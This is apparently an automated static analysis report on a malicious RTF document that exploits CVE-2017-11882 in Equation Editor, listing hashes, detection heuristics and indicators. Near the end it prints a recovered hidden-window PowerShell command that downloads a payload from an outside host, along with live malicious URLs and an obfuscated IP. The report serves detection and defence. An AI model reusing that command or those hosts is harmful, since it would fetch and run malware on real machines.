Malicious RTF — malware analysis report

Static analysis result for SHA-256 1b1d41d2ef54b55b…

MALICIOUS

RTF

6.17 MB Created: 2018-11-02 11:24:00 First seen: 2021-01-11
MD5: 5e5e44eb570184c3b915008315c4136a SHA-1: c3f25e6f5dea2fde7710e7cc07722004fd437393 SHA-256: 1b1d41d2ef54b55b3a38ffb8b1e215cd67e96ba4056158549aa5f8851c493235
302 Risk Score

Heuristics 8

  • CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882
    Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
  • Equation Editor shellcode downloads a second-stage payload critical OLE_MTEF_SHELLCODE_DOWNLOAD_URL
    The shellcode reached by the Equation Editor overflow resolves download/exec APIs (URLDownloadToFile / ShellExecute / WinExec) and fetches a second-stage payload. The download URL was recovered from the Equation Native stream — directly when the shellcode is plaintext, or by emulating its self-decoding stub. An integer-encoded host (e.g. http://000030000706151) is normalised to its dotted-quad form and both spellings are surfaced as IOCs.
  • Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • \objupdate forces OLE activation high RTF_OBJUPDATE
    RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
  • Large hex data blocks in OLE object high RTF_EXCESSIVE_HEX
    RTF contains ~1573KB of hex-encoded data inside \objdata sections — may hide a payload
  • OLE object data medium RTF_OBJDATA
    RTF contains 1 \objdata section(s) — embedded OLE objects
  • Embedded OLE object medium RTF_OBJEMB
    RTF contains \objemb — embedded OLE object
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://000030000706151 In RTF body
    • http://192.3.140.105Decoded from obfuscated IP host (000030000706151)
    • http://schemas.microsoft.com/office/word/2003/wordmlIn RTF body
    • https://k.top4top.io/p_1502uz2551.jpgIn RTF body

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
objdata_00_off00612d31.bin rtf-objdata-decoded RTF \objdata at offset 0x612D31 3629 bytes
SHA-256: 535d8dbaa59e424a2fd2b3e17baa5abfcce7fa94aa5c3813b7dbb3f5fb361ea6
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered URL(s): https://k.top4top.io/p_1502uz2551.jpg Static shellcode analysis recovered command string(s): Cmd /c powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('https://k.top4top.io/p_1502uz2551.jpg'

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